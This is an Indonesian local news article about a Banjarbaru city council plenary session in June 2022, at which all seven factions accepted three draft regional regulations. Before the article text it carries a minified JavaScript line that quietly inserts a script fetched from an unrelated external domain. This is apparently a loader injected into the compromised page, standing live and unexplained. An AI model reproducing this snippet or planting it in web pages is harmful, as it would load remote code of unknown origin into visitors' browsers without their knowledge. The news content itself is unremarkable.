(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – DPRD Kota Banjarbaru menggelar rapat paripurna pandangan umum fraksi-fraksi terhadap penyampaian tiga buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru, sekaligus jawaban Wali Kota Banjarbaru terhadap pandangan umum fraksi, Rabu (22/6/2022).
Juru bicara masing-masing fraksi telah menyampaikan pandangan umum atas Raperda yang telah disampaikan dalam rapat paripurna pada Senin (20/6/2022) kemarin.
Ketiga Raperda masuk dalam penambahan Program Pembentukan Peraturan Daerah (Propemperda) yakni tentang penambahan penyertaan modal Pemerintah Kota Banjarbaru pada perseroan terbatas Bank Kalsel, dana cadangan pemilihan kepala daerah dan wakil kepala daerah Kota Banjarbaru tahun 2024, serta pertanggungjawaban pelaksanaan APBD tahun 2021.
Berdasarkan hasil pandang umum seluruh fraksi-fraksi DPRD Kota Banjarbaru sependapat dan setuju atas tiga buah Raperda yang diusulkan oleh Pemko Banjarbaru.
Baca juga : Berlakunya Sistem Satu Arah di Jalan Ir PM Noor Menuju SPN, Satlantas Polres Banjarbaru Gencar Sosialisasi
Ketua Badan Pembentukan Peraturan Daerah (Bapemperda) DPRD Kota Banjarbaru, Windi Novianto mengatakan, penambahan Propemperda tersebut dilakukan lantaran ada beberapa keperluan daerah yang harus mengantongi landasan hukum.
“Contohnya Raperda Pesantren. Sebagai salah satu penunjang visi dan misi Wali Kota Banjarbaru, yakni agamis,” ujarnya, saat rapat paripurna pada Senin (20/6/2022).
Lebih jauh, politisi PDI-P itu menegaskan ketiga Raperda tersebut memiliki tingkat urgensi masing-masing. Karena itu, pihaknya berjanji bakal segera melakukan pembahasan berkelanjutan.
“Kami menarget, bakal menyelesaikan 15 buah Raperda pada akhir 2022 ini. Selaku Ketua Bapemperda pasti punya target,” katanya.
Baca juga : Jokowi Mulai Pembangunan Istana Negara di IKN Nusantara Juli 2022
Sementara itu, Wakil Wali Kota Banjarbaru, Wartono memberikan jawaban hasil pandangan umum fraksi-fraksi terhadap saran, masukan dan tanggapan yang diberikan atas tiga Raperda yang merupakan inisiatif dari Pemerintah Kota Banjarbaru.
“Pandangan umum fraksi-fraksi atas tiga buah Raperda, Alhamdulillah 7 fraksi semuanya menerima Raperda tersebut,” katanya.
Adapun untuk pembahasan yang lebih mendalam, nantinya akan dilanjuti di tingkat pansus. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.